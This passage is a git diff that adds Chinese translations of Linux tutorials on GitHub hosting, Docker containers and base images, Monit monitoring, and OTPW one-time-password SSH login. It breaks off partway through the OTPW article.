b/published/201505/20150324 How to Host Open Source Code Repository in github.md new file mode 100644 index 0000000000..8b9f40d3b1 --- /dev/null +++ b/published/201505/20150324 How to Host Open Source Code Repository in github.md @@ -0,0 +1,114 @@ +怎样在Github上托管开源代码库 +================================================================================ + +大家好,今天我们要学习一下怎样在github.com提供的仓库中托管开源软件源代码。GitHub是一个基于web的Git仓库托管服务,提供基于 git 的分布式版本控制和源代码管理(SCM)功能,并加入了自身的特点。它给开源项目和私有项目提供了一个互相协作的工作区、代码预览和代码管理功能。不像Git是一个完完全全的命令行工具,GitHub提供了一个基于web的图形化界面和桌面,也整合了手机操作。GitHub同时提供了私有库付费计划和通常用来管理开源软件项目的免费账号。 + +![github universe logo](http://blog.linoxide.com/wp-content/uploads/2015/03/github-universe.jpg) + +这是一种快速灵活,基于web的托管服务,它使用方便,管理分布式版本控制系统也是相当容易,任何人都能将他们的软件源代码托管到 github,让全球各地数以百万计的人可以使用它、参与贡献、共享它、进行问题跟踪以及更多的用途。这里有一些简单快速地托管软件源代码的方法。 + +### 1. 创建一个新的Github账号 ### + +首先,打开你最喜欢的浏览器并访问[github][1],首页页面如下所示。 + +![Github Homepage](http://blog.linoxide.com/wp-content/uploads/2015/03/github-homepage.png) + +现在,首页打开之后,请填写一个新的github账号用于注册。 + +输入注册所需的有效信息之后,你会被转到计划选择的步骤。在这个页面上有5种计划,我们可以根据需要来选择,这里我们要选择免费计划。所以,我们点击选择Free计划并完成注册。如果我们接下去还打算创建一个组织,那我们需要勾选“Help me setup an organization next”。 + +![choosing plan](http://blog.linoxide.com/wp-content/uploads/2015/03/choosing-plan.png) + +### 2. 创建一个新的库 ### + +成功注册新账号或登录上Github之后,我们需要创建一个新的库来开始我们的征程。 + +点击位于顶部靠右账号id旁边的**(+)**按钮,然后点击“New Repository”。 + +![Add new repository](http://blog.linoxide.com/wp-content/uploads/2015/03/create-new-repository.png) + +点击创建一个新的库之后,我们进入了填写所需信息的页面。 + +![adding repository information](http://blog.linoxide.com/wp-content/uploads/2015/03/adding-information-repository.png) + +填写好信息之后,我们点击绿色的“Create repository”按钮。 + +这些步骤都做完之后,我们将看到类似于下面这张图的页面。 + +![repository github](http://blog.linoxide.com/wp-content/uploads/2015/03/repository-github.png) + +### 3. 上传一个已有项目 ### + +如果我们想在Github上分享我们的项目,我们自然要把代码推上我们创建的库中。想要这样的话,我们首先要在我们的Linux机器上安装git。如果我在机器上运行的是Ubuntu 14.04 LTS,我需要运行**apt**工具来安装它。 + + $ sudo apt-get install git + +![installing git](http://blog.linoxide.com/wp-content/uploads/2015/03/install-git.png) + +现在git已经准备就绪,我们要上传代码了。 + +**注意**:为了避免错误,不要在初始化的新库中包含**README**、license或gitignore等文件,你可以在项目推送到Github上之后再添加它们。 + +在终端上,我们需要切换当前工作目录为你的本地项目的目录,然后将其初始化为Git库。 + + $ git init + +接着我们添加新的本地库里中的文件,作为我们的首次提交内容。 + + $ git add . + +现在我们就提交我们在本地库所添加的文件。 + + $ git commit -m 'First commit' + +![git commit](http://blog.linoxide.com/wp-content/uploads/2015/03/git-commit.png) + +在终端上,添加远程库的URL地址,以便我们的本地库推送到远程。 + + $ git remote add origin 远程库的URL + $ git remote -v + +![adding remote url](http://blog.linoxide.com/wp-content/uploads/2015/03/adding-remote-url.png) + +注意:请确保将上述“远程库的URL”替换成了你自己的远程库的URL。 + +现在,要将我们的本地库的改变推送至GitHub的版本库中,我们需要运行以下命令,并且输入所需的用户名和密码。 + + $ git push origin master + +![pushing repo](http://blog.linoxide.com/wp-content/uploads/2015/03/pushing-repo.png) + +### 克隆一个库 ### + +如果我们想用一条简单地命令从github上下载代码库至本机上,我们可以用git clone命令,该命令将会从远程库中克隆最新的目录。 + + $ git clone https://github.com/aruntechgeek/linspeed.git + +![cloning repo](http://blog.linoxide.com/wp-content/uploads/2015/03/cloning-repo.png) + +请把以上这条URL地址更改成你想要克隆的地址。 + +### 推送改动 ### + +如果我们对我们的代码做了更改并想把它们推送至我们的远程库中,我们应该在该目录下运行以下命令。 + + $ git add . + $ git commit -m "Updating" + $ git push + +### 结论 ### + +啊哈!我们已经成功地将我们的项目源代码托管到Github的库中了。Github是快速灵活的基于web的托管服务,分布式版本控制系统使用起来方便容易。数百万个非常棒的开源项目驻扎在github上。所以,如果你有任何问题、建议或反馈,请在评论中告诉我们。谢谢大家!好好享受吧 :-) + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/usr-mgmt/host-open-source-code-repository-github/ + +作者:[Arun Pyasi][a] +译者:[ZTinoZ](https://github.com/ZTinoZ) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/arunp/ +[1]:http://github.com/ diff --git a/published/201505/20150324 How to Interactively Create a Docker Container.md b/published/201505/20150324 How to Interactively Create a Docker Container.md new file mode 100644 index 0000000000..8fb5f6fa39 --- /dev/null +++ b/published/201505/20150324 How to Interactively Create a Docker Container.md @@ -0,0 +1,100 @@ +如何交互式地创建一个Docker容器 +=============================================================================== + +大家好,今天我们来学习如何使用一个docker镜像交互式地创建一个Docker容器。当我们从镜像中启动一个Docker进程,Docker就会获取该镜像及其父镜像,并重复这个过程,直到到达基础镜像。然后联合文件系统(UFS)会在其顶层添加一个读写层。读写层被称之为容器,它包含了一些关于父镜像信息及一些其他的信息,如唯一ID,网络配置和资源限制等。容器是有状态的,其状态可以从 **运行态** 切换到 **退出态**。一个处于 **运行态**的容器包含了在CPU上面运行的进程树,于其它在该主机上运行的进程相隔离,而**退出态**是指文件系统的状态,并保留了其退出值。你可以使用它来启动,停止和重启一个容器。 + +Docker技术为IT界带来了巨大的改变,它使得云服务可以用来共享应用和工作流程自动化,使得应用可以用组件快速组合,消除了开发、品质保证、产品环境间的摩擦。在这篇文章中,我们将会建立CentOS环境,然后用Apache网络服务器提供一个网站服务。 + +这是一个快速且容易的教程,讨论我们怎样使用交互的shell,以交互的方式来创建一个容器。 + +### 1. 运行一个Docker实例 ### + +Docker首先会尝试从本地取得并运行所需的镜像,如果在本地主机上没有发现,它就会从[Docker公共注册中心][1]拉取。这里,我们将会拉取镜像并在 Docker 容器中创建一个fedora实例,并连接到它的 tty 上的bash shell。 + + # docker run -i -t fedora bash + +![Downloading Fedora Base Image](http://blog.linoxide.com/wp-content/uploads/2015/03/downloading-fedora-base-image.png) + +### 2.安装Apache网络服务器 ### + +现在,在我们的Fedora基本镜像实例准备好后,我们将会开始交互式地安装Apache网络服务器,而不是为它创建Dockerfile。为了做到这点,我们需要在终端或者shell运行以下命令。 + + # yum update + +![Installing httpd](http://blog.linoxide.com/wp-content/uploads/2015/03/installing-httpd2.png) + + # yum install httpd + +![Installing httpd](http://blog.linoxide.com/wp-content/uploads/2015/03/installing-httpd2.png) + + # exit + +### 3.保存镜像 ### + +现在,我们要去保存在Fedora实例里做的修改。要做到这个,我们首先需要知道实例的容器ID。而为了得到ID,我们又需要运行以下命令(LCTT 译注:在容器外执行该命令)。 + + # docker ps -a + +![Docker Running Container](http://blog.linoxide.com/wp-content/uploads/2015/03/docker-running-container.png) + +然后,我们会保存这些改变为一个新的镜像,请运行以下命令。 + + # docker commit c16378f943fe fedora-httpd + +![committing fedora httpd](http://blog.linoxide.com/wp-content/uploads/2015/03/committing-fedora-httpd.png) + +这里,修改已经通过使用容器ID保存起来了,镜像名字叫fedora-httpd。为了确认新的镜像是否在运行,我们将运行以下命令。 + + # docker images + +![view docker images](http://blog.linoxide.com/wp-content/uploads/2015/03/view-docker-images.png) + +### 4. 添加内容到新的镜像 ### + +我们自己新的Fedora Apache镜像正成功的运行,现在我们想添加一些我们网站的网页内容到Apache网络服务器,使得网站能够开箱即用。为做到这点,我们需要创建一个新的Dockerfile,它会处理从复制网页内容到启用80端口的所有操作。要达到这样的目的,我们需要使用我们最喜欢的文本编辑器创建Dockerfile文件,像下面演示的一样。 + + # nano Dockerfile + +现在,我们需要添加以下的命令行到文件中。 + + FROM fedora-httpd + ADD mysite.tar /tmp/ + RUN mv /tmp/mysite/* /var/www/html + EXPOSE 80 + ENTRYPOINT [ "/usr/sbin/httpd" ] + CMD [ "-D", "FOREGROUND" ] + +![configuring Dockerfile](http://blog.linoxide.com/wp-content/uploads/2015/03/configuring-Dockerfile.png) + +这里,上述的Dockerfile中,放在mysite.tar里的网页内容会自动解压到/tmp/文件夹里。然后,整个站点会被移动到Apache的网页根目录/var/www/html/,命令expose 80会打开80端口,这样网站就能正常访问了。其次,入口点放在了/usr/sbin/https里面,保证Apache服务器能够执行。 + +### 5. 构建并运行一个容器 ### + +现在,我们要用刚刚创建的Dockerfile创建我们的容器,以便将我们的网站添加到上面。为做到这,我们需要运行以下命令。 + + # docker build -rm -t mysite . + +![Building mysite Image](http://blog.linoxide.com/wp-content/uploads/2015/03/building-mysite-image.png) + +建立好我们的新容器后,我们需要要用下面的命令来运行容器。 + + # docker run -d -P mysite + +![Running mysite Container](http://blog.linoxide.com/wp-content/uploads/2015/03/running-mysite-container.png) + +### 总结 ### + +最后,我们已经成功的以交互式的方式建立了一个Docker容器。在本节方法中,我们是直接通过交互的shell命令建立我们的容器和镜像。在建立与配置镜像与容器时,这种方法十分简单且快速。如果你有任何问题,建议和反馈,请在下方的评论框里写下来,以便我们可以提升或者更新我们的文章。谢谢!祝生活快乐 :-) + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-how-to/interactively-create-docker-container/ + +作者:[Arun Pyasi][a] +译者:[wi-cuckoo](https://github.com/wi-cuckoo) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/arunp/ +[1]:https://registry.hub.docker.com/ diff --git a/published/201505/20150326 How to set up server monitoring system with Monit.md b/published/201505/20150326 How to set up server monitoring system with Monit.md new file mode 100644 index 0000000000..6886e83ef2 --- /dev/null +++ b/published/201505/20150326 How to set up server monitoring system with Monit.md @@ -0,0 +1,250 @@ +如何使用Monit部署服务器监控系统 +================================================================================ +很多Linux系统管理员依赖一个集中式的远程监控系统(比如[Nagios][1]或者[Cacti][2])来检查他们网络基础设备的健康状况。虽然集中式监控让管理员的生活更简单了,然而处理很多机器和服务时,专用的监控中心显然成为了一个单点故障,如果监控中心挂了或者因为什么原因(比如硬件或者网络故障)不可访问了,你就会失去整个网络基础设备情况的任何信息。 + +一个给你的监控系统增加冗余度的方法是安装独立的监控软件(作为后备),至少在网络中的关键/核心服务器上。这样在集中式监控系统挂掉的情况,你还有能力通过后备的监控方式来获取核心服务器的运行状况。 + +### Monit是什么? ### + +[Monit][3]是一个跨平台的用来监控Unix/linux系统(比如Linux、BSD、OSX、Solaris)的工具。Monit特别易于安装,而且非常轻量级(只有500KB大小),并且不依赖任何第三方程序、插件或者库。然而,Monit可以胜任全面监控、进程状态监控、文件系统变动监控、邮件通知和对核心服务的自定义动作等场景。易于安装、轻量级的实现以及强大的功能,让Monit成为一个理想的后备监控工具。 + +我已经在一些机器使用Monit几年了,而且我对它的可靠性非常满意。甚至作为全面的监控系统,对任何Linux系统管理员来说Monit也是非常有用和强大的。在这篇教程中,我会展示如何在一个本地服务器部署Monit(作为后备监控系统)来监控常见的服务。在部署过程中,我只会展示我们用到的部分。 + +### 在Linux安装Monit ### + +Monit已经被包含在多数Linux发行版的软件仓库中了。 + +Debian、Ubuntu或者Linux Mint: + + $ sudo aptitude install monit + +Fedora或者CentOS/RHEL: + +在CentOS/RHEL中,你必须首先启用[EPEL][4]或者[Repoforge][5]软件仓库. + + # yum install monit + +Monit自带一个文档完善的配置文件,其中包含了很多例子。主配置文件在/etc/monit.conf(Fedora/CentOS/RHEL 中),或者/etc/monit/monitrc(Debian/Ubuntu/Mint 中)。Monit配置文件有两部分:“Global”(全局)和“Services”(服务)。 + +### Global Configuration: Web Status Page (全局配置:Web状态页面) ### + +Monit可以使用邮件服务来发送通知,也可以使用HTTP/HTTPS页面来展示。我们先使用如下配置的web状态页面吧: + +- Monit监听1966端口。 +- 对web状态页面的访问是通过SSL加密的。 +- 使用monituser/romania作为用户名/口令登录。 +- 只允许通过localhost、myhost.mydomain.ro和在局域网内部(192.168.0.0/16)访问。 +- Monit使用pem格式的SSL证书。 + +之后的步骤,我会使用一个基于Red Hat的系统。在基于Debian的系统中的步骤也是类似的。 + +首先,在/var/cert生成一个自签名的证书(monit.pem): + + # mkdir /var/certs + # cd /etc/pki/tls/certs + # ./make-dummy-cert monit.pem + # cp monit.pem /var/certs + # chmod 0400 /var/certs/monit.pem + +现在将下列代码片段放到Monit的主配置文件中。你可以创建一个空配置文件,或者基于自带的配置文件修改。 + + set httpd port 1966 and + SSL ENABLE + PEMFILE /var/certs/monit.pem + allow monituser:romania + allow localhost + allow 192.168.0.0/16 + allow myhost.mydomain.ro + +### Global Configuration: Email Notification (全局配置:邮件通知) ### + +然后,我们来设置Monit的邮件通知。我们至少需要一个可用的[SMTP服务器][6]来让Monit发送邮件。这样就可以(按照你的实际情况修改): + +- 邮件服务器的机器名:smtp.monit.ro +- Monit使用的发件人:monit@monit.ro +- 邮件的收件人:guletz@monit.ro +- 邮件服务器使用的SMTP端口:587(默认是25) + +有了以上信息,邮件通知就可以这样配置: + + set mailserver smtp.monit.ro port 587 + set mail-format { + from: monit@monit.ro + subject: $SERVICE $EVENT at $DATE on $HOST + message: Monit $ACTION $SERVICE $EVENT at $DATE on $HOST : $DESCRIPTION. + + Yours sincerely, + Monit + + } + + set alert guletz@monit.ro + +就像你看到的,Monit会提供几个内部变量(`$DATE`、`$EVENT`、`$HOST`等),你可以按照你的需求自定义邮件内容。如果你想要从Monit所在机器发送邮件,就需要一个已经安装的与sendmail兼容的程序(如postfix或者ssmtp)。 + +### Global Configuration: Monit Daemon (全局配置:Monit守护进程)### + +接下来就该配置Monit守护进程了。可以将其设置成这样: + +- 在120秒后进行第一次检测。 +- 每3分钟检测一次服务。 +- 使用syslog来记录日志。 + +如下代码段可以满足上述需求。 + + set daemon 120 + with start delay 240 + set logfile syslog facility log_daemon + +我们必须定义“idfile”,Monit守护进程的一个独一无二的ID文件;以及“eventqueue”,当monit的邮件因为SMTP或者网络故障发不出去,邮件会暂存在这里;以及确保/var/monit路径是存在的。然后使用下边的配置就可以了。 + + set idfile /var/monit/id + set eventqueue + basedir /var/monit + +### 测试全局配置 ### + +现在“Global”部分就完成了。Monit配置文件看起来像这样: + + # Global Section + + # status webpage and acl's + set httpd port 1966 and + SSL ENABLE + PEMFILE /var/certs/monit.pem + allow monituser:romania + allow localhost + allow 192.168.0.0/16 + allow myhost.mydomain.ro + + # mail-server + set mailserver smtp.monit.ro port 587 + # email-format + set mail-format { + from: monit@monit.ro + subject: $SERVICE $EVENT at $DATE on $HOST + message: Monit $ACTION $SERVICE $EVENT at $DATE on $HOST : $DESCRIPTION. + + Yours sincerely, + Monit + + } + + set alert guletz@monit.ro + + # delay checks + set daemon 120 + with start delay 240 + set logfile syslog facility log_daemon + + # idfile and mail queue path + set idfile /var/monit/id + set eventqueue + basedir /var/monit + +现在是时候验证我们的工作了,你可以通过运行如下命令来验证存在的配置文件(/etc/monit.conf): + + # monit -t + + Control file syntax OK + +如果monit提示任何错误,请再检查下配置文件。幸运的是,错误/警告信息是可以帮助你发现问题的,比如: + + monit: Cannot stat the SSL server PEM file '/var/certs/monit.pem' -- No such file or directory + /etc/monit/monitrc:10: Warning: hostname did not resolve 'smtp.monit.ro' + +一旦你确认配置文件没问题了,可以启动monit守护进程,然后等2到3分钟: + + # service monit start + +如果你使用的是systemd,运行: + + # systemctl start monit + +现在打开一个浏览器窗口,然后访问`https://:1966`。将``替换成Monit所在机器的机器名或者IP地址。 + +如果你使用的是自签名的SSL证书,你会在浏览器中看到一个警告信息。继续访问即可。 + +![](https://farm8.staticflickr.com/7596/16737206479_96b9f7dfdb_c.jpg) + +你完成登录后,就会看到这个页面。 + +![](https://farm8.staticflickr.com/7594/16303369973_6019482dea_c.jpg) + +在这个教程的其余部分,我们演示监控一个本地服务器和常见服务的方法。你会在[官方wiki页面][7]看到很多有用的例子。其中的多数是可以直接复制粘贴的! + +### Service Configuration: CPU/Memory Monitoring (服务配置:CPU、内存监控) ### + +我们先来监控本地服务器的CPU、内存占用。复制如下代码段到配置文件中。 + + check system localhost + if loadavg (1min) > 10 then alert + if loadavg (5min) > 6 then alert + if memory usage > 75% then alert + if cpu usage (user) > 70% then alert + if cpu usage (system) > 60% then alert + if cpu usage (wait) > 75% then alert + +你可以很容易理解上边的配置。最上边的check是指每个监控周期(全局配置里设置的120秒)都对本机进行下面的操作。如果满足了任何条件,monit守护进程就会使用邮件发送一条报警。 + +如果某个监控项不需要每个周期都检查,可以使用如下格式,它会每240秒检查一次平均负载。 + + if loadavg (1min) > 10 for 2 cycles then alert + +### Service Configuration: SSH Service Monitoring (服务配置:SSH服务监控) ### + +先检查我们的sshd是否安装在/usr/sbin/sshd: + + check file sshd_bin with path /usr/sbin/sshd + +我们还想检查sshd的启动脚本是否存在: + + check file sshd_init with path /etc/init.d/sshd + +最后,我们还想检查sshd守护进程是否存活,并且在监听22端口: + + check process sshd with pidfile /var/run/sshd.pid + start program "/etc/init.d/sshd start" + stop program "/etc/init.d/sshd stop" + if failed port 22 protocol ssh then restart + if 5 restarts within 5 cycles then timeout + +我们可以这样解释上述配置:我们检查是否存在名为sshd的进程,并且有一个保存其pid的文件存在(/var/run/sshd.pid)。如果任何一个不存在,我们就使用启动脚本重启sshd。我们检查是否有进程在监听22端口,并且使用的是SSH协议。如果没有,我们还是重启sshd。如果在最近的5个监控周期(5x120秒)至少重启5次了,sshd就被认为是不能用的,我们就不再检查了。 + +![](https://farm9.staticflickr.com/8685/16735725998_62c26a24bc_c.jpg) + +### Service Configuration: SMTP Service Monitoring (服务配置:SMTP服务监控) ### + +现在我们来设置一个检查远程SMTP服务器(如192.168.111.102)的监控。假定SMTP服务器运行着SMTP、IMAP、SSH服务。 + + check host MAIL with address 192.168.111.102 + if failed icmp type echo within 10 cycles then alert + if failed port 25 protocol smtp then alert + else if recovered then exec "/scripts/mail-script" + if failed port 22 protocol ssh then alert + if failed port 143 protocol imap then alert + +我们检查远程主机是否响应ICMP协议。如果我们在10个周期内没有收到ICMP回应,就发送一条报警。如果监测到25端口上的SMTP协议是异常的,就发送一条报警。如果在一次监测失败后又监测成功了,就运行一个脚本(/scripts/mail-script)。如果检查22端口上的SSH或者143端口上的IMAP协议不正常,同样发送报警。 + +### 总结 ### + +在这个教程,我演示了如何在本地服务器设置Monit,当然这只是Monit功能的冰山一角。你可以花些时间阅读Monit的man手册(写得很好)。Monit可以为任何Linux系统管理员做很多事情,并且具有非常优美和易于理解的语法。如果你将一个集中式的远程监控系统和Monit一同使用,你会得到一个更可靠的监控系统。你感觉Monit怎么样? + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/server-monitoring-system-monit.html + +作者:[Iulian Murgulet][a] +译者:[goreliu](https://github.com/goreliu) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/iulian +[1]:http://xmodulo.com/monitor-common-services-nagios.html +[2]:http://xmodulo.com/monitor-linux-servers-snmp-cacti.html +[3]:http://mmonit.com/monit/ +[4]:https://linux.cn/article-2324-1.html +[5]:http://xmodulo.com/how-to-set-up-rpmforge-repoforge-repository-on-centos.html +[6]:http://xmodulo.com/mail-server-ubuntu-debian.html +[7]:http://mmonit.com/wiki/Monit/ConfigurationExamples \ No newline at end of file diff --git a/published/201505/20150330 2 Ways to Create Your Own Docker Base Image.md b/published/201505/20150330 2 Ways to Create Your Own Docker Base Image.md new file mode 100644 index 0000000000..4c0030b191 --- /dev/null +++ b/published/201505/20150330 2 Ways to Create Your Own Docker Base Image.md @@ -0,0 +1,57 @@ +两种方式创建你自己的 Docker 基本映像 +================================================================================ + +欢迎大家,今天我们学习一下 docker 基本映像以及如何构建我们自己的 docker 基本映像。[Docker][1] 是一个开源项目,提供了一个可以打包、装载和运行任何应用的轻量级容器的开放平台。它没有语言支持、框架和打包系统的限制,从小型的家用电脑到高端服务器,在何时何地都可以运行。这使它们可以不依赖于特定软件栈和供应商,像一块块积木一样部署和扩展网络应用、数据库和后端服务。 + +Docker 映像是不可更改的只读层。Docker 使用 **Union File System** 在只读文件系统上增加可读写的文件系统,但所有更改都发生在最顶层的可写层,而其下的只读映像上的原始文件仍然不会改变。由于映像不会改变,也就没有状态。基本映像是没有父类的那些映像。Docker 基本映像主要的好处是它允许我们有一个独立运行的 Linux 操作系统。 + +下面是我们如何可以创建自定义的基本映像的方式。 + +### 1. 使用 Tar 创建 Docker 基本映像 ### + +我们可以使用 tar 构建我们自己的基本映像,我们从一个运行中的 Linux 发行版开始,将其打包为基本映像。这过程可能会有些不同,它取决于我们打算构建的发行版。在 Debian 发行版中,已经预带了 debootstrap。在开始下面的步骤之前,我们需要安装 debootstrap。debootstrap 用来获取构建基本系统需要的包。这里,我们构建基于 Ubuntu 14.04 "Trusty" 的映像。要完成这些,我们需要在终端或者 shell 中运行以下命令。 + + $ sudo debootstrap trusty trusty > /dev/null + $ sudo tar -C trusty -c . | sudo docker import - trusty + +![使用debootstrap构建docker基本映像](http://blog.linoxide.com/wp-content/uploads/2015/03/creating-base-image-debootstrap.png) + +上面的命令为当前文件夹创建了一个 tar 文件并输出到标准输出中,"docker import - trusty" 通过管道从标准输入中获取这个 tar 文件并根据它创建一个名为 trusty 的基本映像。然后,如下所示,我们将运行映像内部的一条测试命令。 + + $ docker run trusty cat /etc/lsb-release + +[Docker GitHub Repo][2] 中有一些允许我们快速构建基本映像的事例脚本. + +### 2. 使用Scratch构建基本映像 ### + +在 Docker registry 中,有一个被称为 Scratch 的使用空 tar 文件构建的特殊库: + + $ tar cv --files-from /dev/null | docker import - scratch + +![使用scratch构建docker基本映像](http://blog.linoxide.com/wp-content/uploads/2015/03/creating-base-image-using-scratch.png) + +我们可以使用这个映像构建新的小容器: + + FROM scratch + ADD script.sh /usr/local/bin/run.sh + CMD ["/usr/local/bin/run.sh"] + +上面的 Dockerfile 文件来自一个很小的映像。这里,它首先从一个完全空的文件系统开始,然后它复制新建的 /usr/local/bin/run.sh 为 script.sh ,然后运行脚本 /usr/local/bin/run.sh。 + +### 结尾 ### + +这这个教程中,我们学习了如何构建一个开箱即用的自定义 Docker 基本映像。构建一个 docker 基本映像是一个很简单的任务,因为这里有很多已经可用的包和脚本。如果我们想要在里面安装想要的东西,构建 docker 基本映像非常有用。如果有任何疑问,建议或者反馈,请在下面的评论框中写下来。非常感谢!享受吧 :-) + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-how-to/2-ways-create-docker-base-image/ + +作者:[Arun Pyasi][a] +译者:[ictlyh](https://github.com/ictlyh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/arunp/ +[1]:https://www.docker.com/ +[2]:https://github.com/docker/docker/blob/master/contrib/mkimage-busybox.sh \ No newline at end of file diff --git a/published/201505/20150330 How to secure SSH login with one-time passwords on Linux.md b/published/201505/20150330 How to secure SSH login with one-time passwords on Linux.md new file mode 100644 index 0000000000..443f8cab25 --- /dev/null +++ b/published/201505/20150330 How to secure SSH login with one-time passwords on Linux.md @@ -0,0 +1,180 @@ +使用一次性密码本通过 SSH 安全登录 Linux +================================================================================ +有人说,安全不是一个产品,而是一个过程(LCTT 注:安全公司 McAfee 认为,安全风险管理是一个方法论,而不是安全产品的堆叠)。虽然 SSH 协议被设计成使用加密技术来确保安全,但如果使用不当,别人还是能够破坏你的系统:比如弱密码、密钥泄露、使用过时的 SSH 客户端等,都能引发安全问题。 + +在考虑 SSH 认证方案时,大家普遍认为[公钥认证][1]比密码认证更安全。然而,公钥认证技术并不是为公共环境设置的,如果你在一台公用电脑上使用公钥认证登录 SSH 服务器,你的服务器已经毫无安全可言了,公用的电脑可能会记录你的公钥,或从你的内存中读取公钥。如果你不信任本地电脑,那你最好还是使用其他方式登录服务器。现在就是“一次性密码(OTP)”派上用场的时候了,就像名字所示,一次性密码只能被使用一次。这种一次性密码非常合适在不安全的环境下发挥作用,就算它被窃取,也无法再次使用。 + +有个生成一次性密码的方法是通过[谷歌认证器][2],但在本文中,我要介绍的是另一种 SSH 登录方案:[OTPW][3],它是个一次性密码登录的软件包。不像谷歌认证,OTPW 不需要依赖任何第三方库。 + +### OTPW 是什么 ### + +OTPW 由一次性密码生成器和 PAM 认证规则组成。在 OTPW 中一次性密码由生成器事先生成,然后由用户以某种安全的方式获得(比如打印到纸上)。另一方面,这些密码会通过 Hash 加密保存在 SSH 服务器端。当用户使用一次性密码登录系统时,OTPW 的 PAM 模块认证这些密码,并且保证它们不能再次使用。 + +### 步骤1:OTPW 的安装和配置 ### + +#### 在 Debian, Ubuntu 或 Linux Mint 发行版上 #### + +使用 apt-get 安装: + + $ sudo apt-get install libpam-otpw otpw-bin + +打开针对 SSH 服务的 PAM 配置文件(/etc/pam.d/sshd),注释掉下面这行(目的是禁用 PAM 的密码认证功能): + + #@include common-auth + +添加下面两行(用于打开一次性密码认证功能): + + auth required pam_otpw.so + session optional pam_otpw.so + +![](https://farm8.staticflickr.com/7599/16775121360_d1f93feefa_b.jpg) + +#### 在 Fedora 或 CentOS/RHEL 发行版上 #### + +在基于 RedHat 的发行版中没有编译好的 OTPW,所以我们需要使用源代码来安装它。 + +首先,安装编译环境: + + $ sudo yum git gcc pam-devel + $ git clone https://www.cl.cam.ac.uk/~mgk25/git/otpw + $ cd otpw + +打开 Makefile 文件,编辑以“PAMLIB=”开头的那行配置: + +64 位系统: + + PAMLIB=/usr/lib64/security + +32 位系统: + + PAMLIB=/usr/lib/security + +编译安装。需要注意的是安装过程会自动重启 SSH 服务一下,所以如果你是使用 SSH 连接到服务器,做好被断开连接的准备吧(LCTT 译注:也许不会被断开连接,即便被断开连接,请使用原来的方式重新连接即可,现在还没有换成一次性口令方式。)。 + + $ make + $ sudo make install + +现在你需要更新 SELinux 策略,因为 /usr/sbin/sshd 会往你的 home 目录写数据,而 SELinux 默认是不允许这么做的。如果没有使用 SELinux 服务(LCTT 注:使用 getenforce 命令查看结果,如果是 enforcing,就是打开了 SELinux 服务),请跳过这一步。 + + $ sudo grep sshd /var/log/audit/audit.log | audit2allow -M mypol + $ sudo semodule -i mypol.pp + +接下来打开 PAM 配置文件(/etc/pam.d/sshd),注释下面这行(为了禁用密码认证): + + #auth substack password-auth + +添加下面两行(用于打开一次性密码认证功能): + + auth required pam_otpw.so + session optional pam_otpw.so + +#### 步骤2:配置 SSH 服务器,使用一次性密码 #### + +打开 /etc/ssh/sshd_config 文件,设置下面三个参数。你要确保下面的参数不会重复存在,否则 SSH 服务器可能会出现异常。 + + UsePrivilegeSeparation yes + ChallengeResponseAuthentication yes + UsePAM yes + +你还需要禁用默认的密码认证功能。另外可以选择开启公钥认证功能,那样的话你就可以在没有一次性密码的时候使用公钥进行认证。 + + PubkeyAuthentication yes + PasswordAuthentication no + +重启 SSH 服务器。 + +Debian, Ubuntu 或 Linux Mint 发行版: + + $ sudo service ssh restart + +Fedora 或 CentOS/RHEL 7 发行版: + + $ sudo systemctl restart sshd + +(LCTT 译注:虽然这里重启了 sshd 服务,但是你当前的 ssh 连接应该不受影响,只是在你完成下述步骤之前,无法按照原有方式建立新的连接了。因此,保险起见,要么多开一个 ssh 连接,避免误退出当前连接;要么将重启 sshd 服务器步骤放到步骤3完成之后。) + +#### 步骤3:使用 OTPW 产生一次性密码 #### + +之前提到过,你需要事先创建一次性密码,并保存起来。使用 otpw-gen 命令创建密码: + + $ cd ~ + $ otpw-gen > temporary_password.txt + +![](https://farm9.staticflickr.com/8751/16961258882_c49cfe03fb_b.jpg) + +这个命令会让你输入密码前缀,当你以后登录的时候,你需要同时输入这个前缀以及一次性密码。密码前缀是另外一层保护,就算你的一次性密码表被泄漏,别人也无法通过暴力破解你的 SSH 密码。 + +设置好密码前缀后,这个命令会产生 280 个一次性密码(LCTT 译注:保存到 ~/.otpw 下),并将它们导出到一个文本文件中(如 temporary_password.txt)。每个密码(默认是 8 个字符)由一个 3 位十进制数索引。你需要将这个密码表打印出来,并随身携带。 + +![](https://farm8.staticflickr.com/7281/16962594055_c2696d5ae1_b.jpg) + +查看 ./.otpw 文件,它存放了一次性密码的 HASH 值。头 3 位十进制数与你随身携带的密码表的索引一一对应,在你登录 SSH 服务器的时候会被用到。 + + $ more ~/.otpw + +---------- + + OTPW1 + 280 3 12 8 + 191ai+:ENwmMqwn + 218tYRZc%PIY27a + 241ve8ns%NsHFmf + 055W4/YCauQJkr: + 102ZnJ4VWLFrk5N + 2273Xww55hteJ8Y + 1509d4b5=A64jBT + 168FWBXY%ztm9j% + 000rWUSdBYr%8UE + 037NvyryzcI+YRX + 122rEwA3GXvOk=z + +### 测试一次性密码登录 SSH 服务器 ### + +使用普通的方式登录 SSH 服务器: + + $ ssh user@remote_host + +如果 OTPW 成功运行,你会看到一点与平时登录不同的地方: + + Password 191: + +现在打开你的密码表,找到索引号为 191 的密码。 + + 023 kBvp tq/G 079 jKEw /HRM 135 oW/c /UeB 191 fOO+ PeiD 247 vAnZ EgUt + +从上表可知,191 号密码是“fOO+PeiD”。你需要加上密码前缀,比如你设置的前缀是“000”,则你实际需要输入的密码是“000fOO+PeiD”。 + +成功登录后,你这次输入的密码自动失效。查看 ~/.otpw 文件,你会发现第一行变成“---------------”,这表示 191 号密码失效了。 + + OTPW1 + 280 3 